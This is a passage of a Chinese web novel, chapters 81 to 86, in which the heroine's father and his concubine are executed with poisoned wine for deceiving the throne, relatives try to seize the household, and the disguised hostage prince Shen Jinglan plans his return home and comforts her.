《质子摇身变帝王,诱哄我做正宫娘娘》 第81章 有间书坊今日歇业 上官刚走没一会,大门被扣响,温清柔一个嬷嬷去开门。 温若初独住一院,为了行事方便,遣散了下人,独留下一个又聋又哑的嬷嬷,照顾她的日常起居。 “柔儿,这到底是怎么回事?莫家怎么一夜之间就没了,不是说好我当首告,怎么会让温若初和凌玄礼抢了先?” 凌玄澈满是怒意的声音,先于人进来。 温清柔赶紧起身,给凌玄澈斟了一杯平常凌玄澈爱喝的茶,瘪了瘪嘴,一脸委屈撒娇地解释。 “谁知道呢?明明都计划得好好的,突然被姐姐横插一脚进来,不然这会估么着玄澈哥哥已经恢复宗室身份了,我也不用在这破地方独守空房了。” 说着说着竟掉了几滴眼泪出来。 凌玄澈最见不得温清柔流泪,瞬间心软,伸胳膊把人揽进怀里,轻声哄着。 “都是我不好,我没有责怪你的意思,我只是听说了莫家的事,你说咱么好不容易谋划好的计划,就这么眼睁睁地落入了别人手里,我这一时心里着急,不甘心,我不是针对你,原谅我好不好?” 温清柔抽抽搭搭点点头,凌玄澈没来之前她就在想,温若初是怎么知道莫易宇养了一个秦楼娘子,又是如何得知那秦楼娘子是雍国细作。 她才不相信温若初是误打误撞碰上的。 上官派人盯了水仙好长时间,才知道水仙房间有暗室,还没寻到机会动手,天大的功劳就这么飞走了。 她思来想去只有一种可能,有人泄露了消息。 知道内情的除了她和凌玄澈上官以外,就只有门外那个又聋又哑的嬷嬷,都没办法和人正常交流,如何能泄露消息。 温清柔眸光一顿,突然想起来,那日让桃红过来说话,凌玄澈突然过来,她撵走了桃红。 没过一会,桃红去而复返,说是买的针线忘记拿走了,当时好像正在和玄澈哥哥说莫家的事。 温清柔站直身体,“桃红呢?” “桃红?”凌玄澈一时摸不着头脑,温清柔不喜欢在他面前提旁的女人,今天怎么突然提起桃红了。 “应该在府里吧,今没看见。” 温清柔脸色一变,“我们的计划可能就是桃红泄露出去的……” 温清柔说出自己猜测,凌玄澈恍然,两人赶紧回府找桃,桃红屋里没人,上下问了一个遍,都说一大早早起的时候就没看见桃红姨娘。 桃红十有八九是跑了。 两人后知后觉被一个不起眼的桃红背刺了,凌玄澈气急败坏,让管家带人出去找。 他们那里知道莫家伏法之后,温若初就安排人把桃红送走了,早就告诉过桃红,做好随时离开的准备,桃红走得干脆,什么都没带,加之有温若初的暗中帮助,逃离得格外顺利。 黄花菜凉了,凌玄澈才想起来找这茬,黑沉着脸坐在椅子里一言不发。 英王妃的脸色也不好看,瞪了好几眼温清柔。 “那个桃红是你撺掇澈儿抬进门的吧,什么人都往我们这送,你到底安的什么心思,啊?!” 从前她怕英王妃,怕英王妃不让她进门,敬着,捧着,哄着,但现在温清柔已经得到了凌玄澈,凌玄澈想要攀登高位还得指望着她呢,她不怕了。 温清柔坐在椅子里,若无其事地抿了一口茶,装作没听见,没搭理英王妃。 英王妃对温清柔不敬的态度很是不悦,重重拍了一下桌子。 “我问你话呢?” 温清柔擦了擦嘴角,看着英王妃,“我对玄澈哥哥什么心思,玄澈哥哥最知道了,我跑前跑后忙活着,难道是为了安王?” “我若是有那个心思,早就住进安王府享福了,这番无怨劳苦,心里想的当然是玄澈哥哥了,倒是娘娘,这些日子帮上什么忙了?” “你,你居然敢忤逆长辈,”英王妃气得脸红脖子粗,拍着桌子站起身,看着凌玄澈,“澈儿,你都听到了,她在说我,你也不管管?” 凌玄澈眉头紧拧,他都不够烦的,这两人又吵了起来,很意外温清柔温顺的性子居然敢忤逆他母亲 想斥责两句温清柔,转念一想,如今他势微,身边又没有可用之人,斥责的话咽回肚子里,和颜悦色地看着温清柔。 “母亲也是一时心急,你别往心里去,你也忙了一天了,早些回去歇着吧。” 温清柔梗着脖子站起身,在英王妃得意的目光中,媚眼如丝地瞅了一眼凌玄澈。 “今晚等你。”说完转身就走。 英王妃老脸臊得通红,“什么东西?这种骚货绝对不能进我们家门。” 凌玄澈听着英王妃的数落不吱声,温清柔是寡妇,他本也没有娶她的打算。 温清柔到底是不及温若初,算计来算计去,什么都没算计明白,对他也不像之前那般百依百顺了。 不能全然指望温清柔了。 凌玄澈看着摆在桌子上的紫玉观音,这尊观音是前些日子一个商户送的,附带一封署名沈飞白的信,说是给母妃准备的寿礼。 这位雍国六皇子的意思,他是明白的。 凌玄澈若有所思,拿起紫玉观音摩挲着,还是得靠自己。 有间书坊 有间书坊门口挂着“今日歇业”的小牌子,后院堂屋,沈惊澜端坐上手位的太师椅里,天机阁骨干成员分列两侧而坐。 中间摆放火盆,炭火燃烧发出微弱的噼啪声响。 当沈惊澜说完要摆脱质子身份,以合乎大虞律法的形式回到雍国之后,屋内气氛格外凝重,你看看我,我看看你,最后目光集中落在古叔身上。 原计划等雍国老皇帝一咽气,沈惊澜率领天机阁成员化整为零混出城,和雍国威武将军范天恩打配合,以勤王护驾名义,一举拿下皇城。 如今突然改变原计划,意味着要重新部署,不知道又要消耗多少精力。 古叔坐在离沈惊澜最近的位置,花白的眉毛紧紧蹙在一起,连脸上皱纹都染上了难色,迟疑半天,开口道。 “阁主,此举兴师动众,若是以皇子身份回国,势必会和大皇子六皇子正面交锋,于我等不利啊。” “是啊。” “是啊。” …… 众人纷纷附和。 “此一时彼一时。” 沈惊澜出声道,他声音不大,他一开口,众人都自动息了声音,面色恭敬地看着他。 “沈飞白安插的细作在莫家暴了雷,大虞皇帝抓住了雍国把柄,定会向雍国讨要了说法,老皇帝病重没那个精力和大虞扯皮开战,不愿意折了他这个六儿子,最后十有八九要赔北关城池来了结此事。” “沈飞白把手伸到大虞,能通过水仙搭上莫家,进而攀上安王,也能通过旁的方式搭上其他人。” “如今大虞皇帝毕竟还在位,尘埃落定之前,不管搭上谁都是瞎折腾,搭上谁都不如搭上大虞皇帝这棵大树。” 有大虞皇帝的助力,就算雍国皇室不愿意承认他的身份,他也能光明正大地走进雍国皇城,比刀光剑影来得划算多了。 沈惊澜此举,还有一个重要原因,他想光明正大迎娶温若初,首先必须摆脱质子身份,等他回去料理了雍国那些杂碎就回来娶她。 第82章 沈阁主的目的 古叔微微颔首,沉思片刻后道,“阁主所言极是,只是与大虞皇帝合作,风险亦不可小觑。那大虞皇帝虽是女流之辈,可心思深沉,手段狠辣,难保不会在事成之后,对我们提出诸多苛刻条件,甚至过河拆桥。” “古叔顾虑得是。” 沈惊澜微微皱眉。 “但我们也并非毫无筹码,近些年天机阁收集了大量大虞和周边各国情报,只要运作得当,我们可在合作之时,巧妙地将部分情报作为交换条件,既能让她助力我们回国,又能限制她后续可能的过分要求。” 众人听闻,皆暗暗点头,对沈惊澜的谋略深感佩服。 “近日雍国一定会派遣使臣来大虞洽谈,”沈惊澜继续有条不紊地安排着,“古叔你告诉范天恩,务必安排我们自己的人过来。” “是,阁主。”古叔应道,眼中满是沉稳与干练。 “其余人等,继续密切关注雍国朝堂的动向,尤其是大皇子和六皇子的一举一动。” 堂屋正说着话,追风走了进来,绕到沈惊澜身后,耳语几句。 “阁主,博阳侯府出事了……” 沈惊澜听后面色微变,朝众人说道。 “今日就到这,诸位依计行事。” 说完起身离开,在堂屋的时候步履还算沉稳,出了门,脚步匆匆,戴上阎罗面具,一个踮脚,一跃而起飞到房沿上,快速朝温若初所在移去。 温若初一大早收到王安如打发丫鬟来传的信,约她到翠玉茶坊品茶,说托她查的事情有眉目了。 前阵子意外得知温承德和白姨娘遮遮掩掩,好像瞒着什么事,温若初怀疑和王首青的死有关,特意托王安如去打听了一下。 温若初让掌柜找了二楼一间相对安静隐蔽的房间给她。 架在炭火上的铜壶发出咕咚咕咚水煮沸冒泡声,水汽旋转着四散腾起,窗外零星飘进来几片雪花,落在茶台上化成一滴水花。 温若初坐在窗边等王安如,撑着下巴,侧仰着头,看着窗外雪花,纤细白皙的手指,轻轻敲击着茶台。 王丞相没逼着王安如相看人家,可能是想通了,也可能是家里还有旁的公子忙着准备明年开春的春闱,没工夫管王安如。 反正王安如最近挺闲的,反观凌玄庆就不那么幸运了。 莫家倒台的事情闹得沸沸扬扬,安王利用凌妙拉拢朝臣计划失败,回头又想起了凌玄庆和王安如的亲事,让凌玄庆娶王安如。 亲事还没等和王丞相重提,也不知道怎么回事,凌玄庆突然不愿意了,为此还遭了安王的打,听凌玄庆在床上躺了十几日。 有人去看过凌玄庆,温若初从那些世家小姐公子的闲言碎语中猜测了一个大概。 安王失了莫家急于回头拉拢王丞相,深知和王家这门亲事不可能了,于是就想效仿温清柔来点非常规手段,凌玄庆不愿意,这才挨了打。 温若初敬佩凌玄庆是条汉子,还派冯文送去了两瓶上好的金疮药,只不过没到凌玄庆手,就让凌妙给扔了出来。 冯文当时就捡回来了,丧眉搭眼地跟她抱怨,安王府的人不识抬举。温若初还夸赞冯文来着,好东西不能糟践了,咱们这礼也到了,还没花银子,多好的事。 温若初等得有些心急,看着窗外雪景都没了兴致。 “表姐!”一道热情洋溢的声音叫住她。 王安如被茶楼伙计引着进屋,让随侍丫鬟脱下大氅,直接让丫鬟退了出去,守好门,凑到炉火前烤手。 温若初给王安如倒了一杯热茶,省去寒暄环节,直接开口问道。 “怎么样了?” 王安如收回手,欲言又止地瞅了温若初一眼。 “是查到了一些东西,先说好了,你不能发火啊。” “不发火,不发火,”温若初耐心早消耗殆尽,没心情听王安如卖关子。 “快说!” 王安如犹豫着开口,“我托人去你们老家宥阳,打听了好多人,白姨娘和温清柔母女两人住三进三出的大宅子里,好气派。” 温承德在妻子亡故后,自请离京回宥阳赴任,结识白姨娘,有了温清柔。 温清柔幼年体弱,温承德任职期满后折返回京,温清柔由白姨娘亲自照拂长大,温承德照拂白姨娘母女也是应该的,没什么特别的。 温若初诧异道:“然后呢?” “然后……我派去的人打听到,温清柔是昭德三年六月生人……” “昭德三年六月……”温若初若有所思喃喃自语。 温若初生于昭德四年元月,今年十九岁。族谱上明明白白地写着温清柔的生辰,昭德六年六月,比她小两岁…… 温清柔居然比她大六个月? 当年温承德一举得中进士,很快和王首青成亲,没过多久就有了她…… 敢情温承德和王首青成亲之前已经结识了白姨娘,并有了温清柔。 一脸不敢相信地看着王安如,王安如点点头。 王首青可是圣人的亲侄女当朝丞相的妹妹,当年的王首青才华横溢,有自己的政治主见,很是能干,任职中书舍人,深受圣人赏识,还曾一度当做未来丞相培养。 当年的王首青受宠爱的程度较温若初有过之而无不及,这样一个人的亲事,必然受到各方重视,圣人亲自赐婚。 难怪二婶娘能心安理得住在博阳侯府,温乐生隔三岔五地去白姨娘手里扣银子。 温得生还说温承德和白姨娘犯了欺君之罪。 温承德故意隐瞒白姨娘,可不就是欺君之罪! 两人正说着话,门板被人推开,疾步走进来一个身材修长挺拔的身影,面上戴着阎罗面具。 温若初早晨出门的时候,没告诉沈惊澜自己的去处,沈惊澜以这副样子找过来,她心里咯噔一下。 第83章 守灵 王安如没见过沈惊澜戴面具的样子,吓得惊叫一声,直往温若初身后躲。 “啊!你谁啊?” 左右王安如告诉她的事都说完了,不是她见色忘义,实在是沈惊澜来得突然,必有要紧事。 温若初赶紧安抚王安如,“别怕,别怕,他是我认识的江湖义士,是好人,安如你先回去,我这边有事。” 王安如探出脑袋,打量站在门口的“面具人”,尽管“面具人”没有进一步动作,可那阎罗面具狰狞可怖,还是有些害怕。 温若初递给沈惊澜一个眼色,沈惊澜转身退了出去。 王安如这才从温若初身后钻出来,像是很后怕的样子,拍着胸口顺气。 “表姐,方才那个人是你的朋友吗?好威风啊,好像很听你话的样子。” 温若初认同,此时没心情听王安如夸赞沈惊澜,拿起大氅披到王安如身上,随后打了一个结,推着王安如的后背。 “我们改天在聊,天冷路滑早点回去,别让舅舅舅娘担心了。” 送走王安如,温若初折返回房间,急着问沈惊澜。 “发生什么事了?” 沈惊澜摘下面具。 “博阳侯府出事了……” 温若初赶回博阳侯府的时候,芳若领着一列禁军刚从府里出来,双方打了一个照面。 芳若对温若初行了一个礼,“郡主节哀,博阳侯和白氏犯了欺君之罪,蔑视天威,这是圣人的意思。” 院子里死气沉沉,小厮丫鬟跪了一院子,一个两个的耷拉着脑袋,低声抽泣。 石头红着眼睛迎上温若初。 “郡主,你可算是回来了,正要派人去找您呢。” 温若初快步走进堂屋,尽管回来路上沈惊澜告诉过她,圣人得知温承德在和王首青成亲之前和白姨娘私相授受,触犯欺君之罪,圣人可能要处死温承德。 亲眼见到眼前的一幕,温若初还是瞬间脸上血色退了一个干净,她睁大眼睛看着眼前的一幕,整个人好像被抽空了。 沈惊澜扶住她,她才没有摔倒下去。 温承德和白姨娘双双倒地,一动不动,眼睛口鼻缓缓往外留着血。 两人手边分别倒着酒盅,死的突然又凄惨。 温承德和白姨娘是因为犯了欺君之罪被圣人赐了鸩酒,双双殒命。 温承德可能不在意她,可温承德到底是她的亲生父亲,温若初大脑像是失去了思考能力,见到温承德突然离开有些难以置信。 没有哭,没有闹,甚至不知道自己在做什么,缓了好长时间才找回些自我意识,告诉自己温承德死了。 温若初缓了缓心神,吩咐石头,“去准备后事。” 侯府上下这才忙活起来,挂白绫,换白蜡烛,通知亲朋好友…… 下午天擦黑才准备妥当,温承德和白姨娘也分别安置在了棺材里。 不管温承德有没有把她当成亲生女儿看,好歹是她的亲生父亲,她得尽孝,温若初换上孝服,跪在灵前守灵。 一张一张地往铜盆里扔黄纸。 火苗呼呼燃烧,映烤着温若初白皙如画的脸庞,此时她却有些冷。 沈惊澜也换上了一身素衣,给温若初披了一件披风,低声道。 “去吃些东西吧,我替你一会。” 温若初轻声道,“我不饿,天冷了,你回屋歇着吧。” 灵堂没有地龙,赶上三九,天寒地冻的,沈惊澜惧冷,又和温承德非亲非故,没必要让人家替她守灵。 门外飘着雪花,冷风卷起时不时窜起的火苗,夹杂着灰烬打着旋腾空盘旋飞起,没一会又落下。 温若初独自跪在灵前,麻布孝衣松松垮垮地裹在她瘦弱娇小的身体上。 温承德一生无儿,只有两个女儿,还嫁出去一个。 倒是有一个侄子温乐生,这会也不知道去了哪里,大抵是又去了赌坊,家里出了大事还没回来。 眼下,好像也只能温若初在这守着。 沈惊澜看着温若初形单影只跪在冰冷灵堂里,身形落寞,墨黑眸子里掩饰不住的尽是心疼。 好不容易射进他生命里的光,此时染上了灰色。 让他如何心安理得地回去? 沈惊澜沉默片刻,刚要张嘴说话,忽听隔壁院子传来吵闹声。 “怎么这么吵?”温若初回头问道。“那边干嘛呢。” 冯文慌慌张张跑了进来。 “郡主,您快去看看吧,二夫人和二爷收拾侯爷东西呢。” 温承德和白姨娘被圣人赐鸩酒后,二叔温承义倒是帮忙张罗一会,在灵堂跪了没一刻钟就被二婶娘说是头疼叫了回去。 温承德刚走,二房就开始作妖。 温若初也顾不得灵堂守孝规矩了,赶紧去温承德院子。 不看不知道,一看吓一跳,大雪天的,二婶娘也不知道从哪里弄来一帮人,个个五大三粗,穿着粗布短打,手脚麻利地进进出出“收拾”院子,不知道的还以为在抄家。 月儿和秋菊两个丫鬟阻拦,被一个汉单手推倒,两个丫鬟爬起来,又去阻止。 “你们不能动侯爷和夫人的东西。” “走开。” 院子门口堆放着温承德和白姨娘生前用的零七八碎。不止温承德和白姨娘的东西,就连主院王首青平常爱看的书籍,以及手稿,都一并丢弃出来,凌乱地和温承德的东西混杂在一起,任凭雪花打落在上面。 陈年字迹被雪水打湿,氤氲模糊开来。 温若初搭眼就认出了王首青的东西,一股怒火瞬间直冲天灵盖,。 眼瞅那大汉又要推搡月儿和秋菊,厉声怒道。 “住手!谁让给你们动的?” 忙里忙外帮东西的几人停下手里动作,茫然地抬头看温若初。 一个皮肤偏黑身材矮胖男子,放下手里家具走了过来,大概是这几人的头头,一脸的傲慢。 “这位小姐,主家雇了我们当一等家丁,我们收了银子受惠于主家,当然得给主家好好干活了。”下巴点了点一地的零碎。 “这些都是主家让我们干的……” 放肆的视线上下打量温若初,“小姐这是服丧呢,您闪着点,别在主院这边转悠了,我们还有这么多活没干呢,磕到碰到您可就不好了。” 二房媳妇王氏不紧不慢从院子里走了出来,身后还呼呼啦啦跟着六七个丫鬟,一脸谄笑地看着温若初。 “呦,小初啊,侯爷刚走,你不在祠堂守灵,来这干嘛?这两日家里的杂事不用你操心了。” 温若初没接二房王氏的话茬,板着脸色问道。 “这是怎么回事?我爹刚闭上眼睛,你们二房就想鸠占鹊巢?” “小初误会了不是,”王氏不以为意地哼笑两声,“侯爷毕竟走了,我们这些活着的得向前看,乐生是温家的独苗,以后乐生就是主家了,我这个当娘的帮乐生收拾收拾院子。” “小初不用担心,沈娘没有撵你的意思,你想在家里住多久就住多久。” 目中无人有故作大度的姿态,俨然把自己当成了博阳侯府的当家主母。 温承义缩头缩脑站在一边不吱声,看样子也是默认了王氏的做法。 二房明摆着就是见温若初没有兄弟想吃绝户,从二房一家搬进来的第一天开始打的就是这个主意。 温承德前脚刚死,他们就来欺负她。 但二房一家打错算盘了,她是温若初,敢欺负到她头上,就别怪她不顾亲戚情面了。 温若初眸光犀利,看向王氏。 “吃绝户?想都别想,有我在,博阳侯的爵位承袭不到你们二房头上,至于这宅子,连根草棍都和你们没关系。” “你们,现在,立刻,马上离开博阳侯府。” 第84章 吃绝户? 王氏一听不愿意了,“大哥膝下无子,博阳侯的爵位还有这座宅子理所应当承袭给乐生,你早晚都要嫁人的,还想胳膊肘往外拐便宜了外人不成?” 说话的时候,眼神还在沈惊澜身上瞄了两眼。 “你管我便宜谁,这宅子我就算是一把火烧了也不会便宜你。” 温若初扫了一眼二房不知道从哪里好来的地痞混混家丁。 “这里是博阳侯府,受圣人庇佑,我爹西去之前并未把家产传给他侄子,依大虞律例,私动他人财物视为盗,你们现在离开,本郡主念在你们受人蛊惑,可以既往不咎。” “家丁”们你看看我,我看看你,有些犹豫,王氏急道。 “别听她的,满上京打听打听,哪有家产给外姓人的,子侄子侄无子,就是侄,这里是温家,轮不到外人做主……” “我好心让你留住在府里,你却不识抬举,忤逆上长辈了……” 王氏简直不可理喻,行为逻辑堪比强盗,温若初正要开口说话,面前多了一道高大身影。 沈惊澜把王首青的书籍手稿捡起来交给冯文,从一顿零碎里抽出一根手臂粗的木棍拎在手里,一身戾气挡在温若初面前,凌厉的目光落在王氏身上。 身上戾气如猝了毒的刀剑,让人不寒而栗,沈惊澜缓步逼近王氏,木棍摩擦地面发出“哗啦啦”声响。 “郡主让你们走。” 王氏脚步不觉后退,说话都结巴了。 “你……你……你要干什么?我可告诉你,打人犯法,你打我试试?” 沈惊澜向来话少,举起木棍朝着王氏脑袋就要砸下去,王氏赶紧矮腰抱头鼠窜,咬牙切齿地骂沈惊澜。 “疯子!” 拉着温承义连东西都没敢收拾,逃离出俯。 王氏雇佣来的“一等家丁”和“高等女使”也一并被赶了出去,纷纷朝王氏要银子。 “你不是说给我们一个月五两银子,拿钱!” “等着,等着。” 王氏讨好地笑了笑,这些人不干活还想拿银子,做梦去吧,眼下最要紧的是回去,可沈惊澜还在门口。 侯府门口人来人往,温若初养的那条疯狗,总不至于出来乱咬人。 王氏找回了几分底气,屁股往地下一坐,泼妇骂街似的哭喊。 “没天理了,大哥您睁开眼看看吧,您刚走,您的闺女就把我们撵出来了,乐生可是温家独苗,从此乐生要露宿街头了……” 余光瞧见温承义远远站在一边杵着,心里窝火,怎么找了一个面瓜做夫君,温承义若是能拎得起来的,也挣来一份家业,吃香喝辣过逍遥日子,她何至于当街撒泼,为儿子将来操劳。 站起身,抬手就把温承义薅了过来,“坐下,跟我一起喊,儿子是我自己的吗?” 温承义也算是个读书人,抹不开面子,自家母老虎在这,也只能低着头跟着哭嚎两声。 沈惊澜放下木棍,丝毫不为二房哭嚎所动,淡声吩咐门房。 “关门!” 门房早看不惯二房打秋风做派了,看在侯爷份上才给他们脸面,如今侯爷没了,听到沈惊澜吩咐,动作麻利地关上门。 王氏眼瞅撒泼不管用,拍拍屁股起身,跳起脚指着沈惊澜大骂。 “你以为你谁啊,不过是我侄女屋里吃软饭的,把我们赶出来,这宅子也不是你沈惊澜的,是我们温家的……” “咚——”厚重门板合拢。 王氏骂的声音更大了,“你等着,我这就去大理寺报官,让官爷来评评理,到时候我亲自把你打出去……” 刚把温承义和王氏赶出去,温乐生就回来了,身上还带着一股子烟熏火燎的汗臭味,不用问也知道刚从赌坊回来。 进门匆匆换上麻布孝衣,在温承德棺木前,磕了三个响头,才丧眉搭眼地和温若初认错。 “若初妹妹,我……我错了,家里出了这么大的事,就你自己一个人……二妹妹呢?” 温若初跪在地上,面无表情吸了吸鼻子。 “已经差人传信了,快到了吧?” 温乐生抬手和跪在温若初身边的沈惊澜打了一个招呼,顿了顿,和温若初犹豫着解释道。 “我什么德行我自己知道,你放心,这宅子是你的,我不要。” “当年大伯只身一人进京赶考,一举得中进士,和大伯母成亲才有了和博阳侯的爵位和这座宅子。” 温乐生自嘲地笑了笑,“我们温家出了一个侯爷,也算是烧高香,祖坟冒青烟了。” “你一个女儿家,父母都不在了,一个人不容易。若初妹妹你放心我不会让我娘去大理寺报官。”小声嘀咕,原本他们也不占理。 接着说道:“不管你愿不愿意认我这个哥,我都把你当我妹……” 第85章 吃软饭 温若初侧目看着温乐生,鼻子突然酸酸的。 温乐生到底和二叔二婶娘不一样,温乐生这人平常看着不着调,本性却不坏,只是被王氏娇养歪了,若是有心性纯良之人教导,再好生磨砺一番,说不定还有得救。 温承德获欺君之罪而死,博阳侯的爵位就算有亲儿子也承袭不下去,温若初倒是希望温乐生能支棱起来,自己谋个爵位。 若是温乐生愿意走上正道,温若初是愿意帮他的,归根结底还是要看温乐生怎么做。 温若初讨厌煽情,抹了一把眼睛,抬手拍了温乐生一巴掌,手掌拍在一坨肥肉上,啪的一声。 “别废话了,族谱上写着你名呢,我爹刚没,你就要另开族谱不成?” 有一个堂兄在,感觉一下子就不一样了,温若初莫名觉得松了一口气。 王氏叫来的人把主院那边翻得稀巴烂,她得赶紧去收拾收拾,灵堂这边交给温乐生,带着沈惊澜去主院收拾王首青遗物。 王首青都没十七年了,温承德和王首青成亲之前就算故意隐瞒,也不至于因为陈芝麻烂谷子的事,以欺君之罪处死温承德。 其中一定有隐情! 只可惜书中温若初是个炮灰,关于温若初母亲王首青的笔墨就更少了。 就连沈惊澜的天机阁,也没查到王首青除了贤德勤政以外有什么特别之处。 沈惊澜还告诉温若初,当年圣人已经下旨赐婚王首青和先太子,后来不知何种原因,王首青忽然悔婚另嫁温承德。 王首青和温承德婚后很快怀有身孕,有了温若初,但两人婚后生活并不如意,分院而住。 一次王首青入宫,突发恶疾暴毙身亡,死在宫里。 温若初突然想起来,关于女皇的花边消息,书中好好像有一段女皇的回忆,在选秀入宫之前,好像是有一个相好。 女皇的母家为了让女皇安心待在宫里,服侍先皇,暗中找人做掉了女皇的相好。 从那以后女皇像开了挂一样,斗倒后宫一个又一个妃嫔,一路过关斩将,坐到皇后的位置,先帝病重的时候,政务交给女皇打理。 先帝驾崩之后,女皇手里掌握了绝对的权利,自己登上皇位。 温若初做了一个大胆的猜测,王首青若是女皇入宫前所生,那么女皇对王首青的重视,以及对她的格外宠爱就都能说得通了。 温若初想得入了神,直到沈惊澜叫她,才回神。 “你看看这个。” 沈惊澜不知道从哪里翻出来一张地契,和一封信。 温若初接过来,信是王首青字迹,像是一封举荐信的手稿,被举荐人姓白,到曲源县任职县令。 温若初几乎下意识想到了白姨娘那个外任县令途中被劫匪所杀的亲戚,也就是前阵子死在她后院枯井里的小翠的父亲。 王首青无缘无故为何要举荐一个八竿子都打不着的人做县令? 温若初带着疑问翻开信下面的地契,地契标注地址宥阳,日期在王首青和温承德婚后,买卖信息一栏上买方正是温承德。是一个三进三出的院子,大概就是白姨娘和温情柔住的院子。 地契看起来有些年头了,纸张泛黄,中间还有一大块不规则圆形褶皱,像是被水晕染过的痕迹。 温若初轻抚那块晕染过的痕迹,心脏微微抽痛。 王首青在这张地契上哭过…… 指腹抚过凹凸褶皱,几乎体会到了当时王首青看到这张地契时的心情。 自己怀着孕,突然得知夫君在老家养了妻女…… 又在圣人那拒绝了太子的婚约…… 王首青当时一定很绝望吧。 这封举荐信,应该是王首青觉得愧对白姨娘母女,帮了白姨娘家人一把,只可惜那人无福消受,没过上好日子就死了。 白姨娘和温清柔能相安无事地待在宥阳老家,说不定也有王首青的暗中帮衬。 温若初执意寻找真相,被女皇察觉,才一怒之下要了背叛王首青的温承德和白姨娘的性命。 没有足够证据,逻辑链却是完整的。 眼泪不觉从脸庞滑落,心疼王首青…… 也在怀疑自己,王首青极力掩盖的真相被她翻出来,间接要了温承德和白姨娘的命,到底值不值得? 沈惊澜从小见惯了后宫家宅里的腌臜事,大概猜测出了始末,静静地看着温若初,墨黑的眸子里看起来比温若初还难受。 站在温若初身边沉默了好长时间,等温若初差不多哭够了,掏出帕子,弯腰凑近温若初,去揩她眼底泪花。 “不是你的错。” 声音淡淡的轻声安抚,“错的是侯爷的忘恩负义,错的是白姨娘贪得无厌,不知感恩,我之前查过,温承德和白姨娘成亲并未过官府,没经过官府就是无媒苟合,你娘才是正妻。” 温若初询问的眼神看向沈惊澜,沈惊澜定定点头,“是真的。” 温若初松了一口气,愧疚感稍稍减轻些许。 她坐在软凳里,手边燃着烛火,方才沈惊澜突然凑过来的时候,这一幕仿佛似曾相识,隐隐约约记得在不久前发生过。 什么事来着? 沈惊澜会凑她这么近,近到能看清沈惊澜瞳仁里映出自己的影子。 沈惊澜动作轻柔,帕子吸干眼底泪花,视线描摹眼前女子五官,面上是掩饰不住的心疼和情意,眸光不觉落在那两片水润的唇瓣上,停顿片刻又克制地移开。 温若初盯着沈惊澜的眼睛,在沈惊澜视线落在她嘴唇的时候,突然就想起来了。 那日吃馄饨庆祝凌玄礼升迁,吃醉了酒,沈惊澜趁着她酒醉偷亲她来着。 我靠! 沈惊澜什么意思? 她拉下脸面主动和沈惊澜说相好,沈惊澜当时脸色难看,像是被强了一样,极度不情愿。 偷亲她明摆着就是对她有意思! 摆出一副不情愿的样子,他到底想怎样? 她都这么倒霉了,沈惊澜还欺负她! 一股怒火在她心底噌燃起,火苗窜得高高的。 两条柳眉竖起,温若初正要开口问沈惊澜,沈惊澜却突然开口。 “别哭,以后我就是你家人。” 心底怒火好像被人浇了一盆冷水,瞬间熄灭,连火星都没了,温若初怔楞地看着沈惊澜,眨着一双泛红水亮的眼睛,懵懂地看着沈惊澜。 家人? 是她理解的那个“家人”吗? 不确定地顺着沈惊澜的话问道:“那……那你不怕被人说吃软饭?” 沈惊澜勾了勾唇角,“软饭养胃。” ’ 第86章 三个人的狗血剧情 温若初整理完王首青遗物,又把温承德和白姨娘的东西归拢回原位置。 沈惊澜没给她一个明确的答复,知道沈惊澜不讨厌她,这已经足够了,她和沈惊澜之间隔着鸿沟天堑,怎敢求天长地久。 今朝有酒今朝醉,不给自己找麻烦,才是她的行事准则。 有沈惊澜的宽慰,温若初心里却是好受一点,有人愿意和她站在一处,像家人一样。 这个冬天好像也没那么冷了。 只是可惜眼下家里出了事,暂时没心情花前月下,想着等过段日子温承德和白姨娘的丧事处理完了,在补给沈惊澜。 回灵堂和温乐生商量守灵,温乐生极力要求守晚上,不用温若初。 府里有几个下人张罗要走,“郡主,赶上侯爷和白姨娘的事,我们都知道府里最近挺忙的,正需要人手的时候,不是我们几个不愿意留下,实在是家里临时有事。” 为首的是一个在博阳侯府干了十几年的嬷嬷,好像还是温承德的远房亲戚。 博阳侯府人丁稀薄,温承德一走,整个侯府看起来就没什么指望了,人往高处走。 心不在这,留也留不住。 温若初没说什么,让秋菊直接给他们结账走人。 走了一波人,偌大侯府显得更冷清了。 眼瞅快三更了,温若初替温乐生,让温乐生去简单吃点东西垫垫肚子。 “温若初!”一道满是怒意的尖厉声音传来。 温若初回头看去,来人身形娇小羸弱,穿着娇粉衣裳,身后还披着大红披风。 温清柔也不知道去了哪里,这个时辰才回来,当初凌玄澈舅舅萧石死的时候,去得比谁腿都勤快。 温清柔整个下午都在凌府,等晚上回雀儿街巷院子的时候,才知道爹娘触犯了欺君之罪,被圣人处死了。 不顾下人阻拦瞪着眼睛,疯了一样朝温若初扑了过来,张牙舞爪地像是要吃人。 “是不是你?是不是你捅到圣人面前的?爹娘遭此横祸,是不是你?” 沈惊澜要起身去拦,温若初比他先起身,告诉沈惊澜她能处理,让沈惊澜先回去了。 抬手甩了温清柔一个耳光。 “爹还躺在那,白姨娘也躺在那,瞧瞧你这副德行,你回来是干嘛的?” 温清柔脸被打偏,噼里啪啦地掉眼泪,恶狠狠瞪着温若初。 “这下你满意了,这个家是你的了。” 温若初:“……” 家里出了事,温若初没那个心思和温清柔吵架,让丫鬟去拿丧服孝衣。 但温清柔好像不是回来看温承德和白姨娘的,厉声质问。 “你杀了我爹娘,你怎么那么狠的心,你们母女抢走人家的丈夫,父亲不算,非要将人赶尽杀绝才痛快?” 屋里丫鬟嬷嬷小厮一大堆,上一辈的恩怨,不管是对温承德白姨娘还是王首青来说,都不是什么正大光明的好事,王首青更是处处隐瞒。 温清柔就这么堂而皇之地嚷了出来,实在不知道温清柔是蠢,还是被恨意蒙蔽了心智。 反手又甩了温清柔一个巴掌。 “闭嘴!”怕温清柔继续发疯口无遮拦,屏退屋内下人。 “怎么?”温清柔冷笑,“能做得出来,还怕别人知道?反正现在爹娘也没了,就让天下人都来观摩观摩,王首青如何仗势欺人抢人家丈夫,害得人家妻女孤苦无依。” “别以为有权有势就可以为所欲为,爹娘都被你害死了,我不怕你,大不了连我你也一起弄死。” 王首青死了十几年,温承德和白姨娘的尸首就停在这,温若初本想着人死债销,息事宁人。 也不知道白姨娘给温清柔灌输了什么思想,明明是无媒苟合,私相授受,珠胎暗结,怎么就这么理直气壮的。 既然温清柔执意纠缠,那她必须和温清柔掰扯明白。 让人去取了宥阳地契和那封举荐信手稿,直接砸到温清柔脸上。 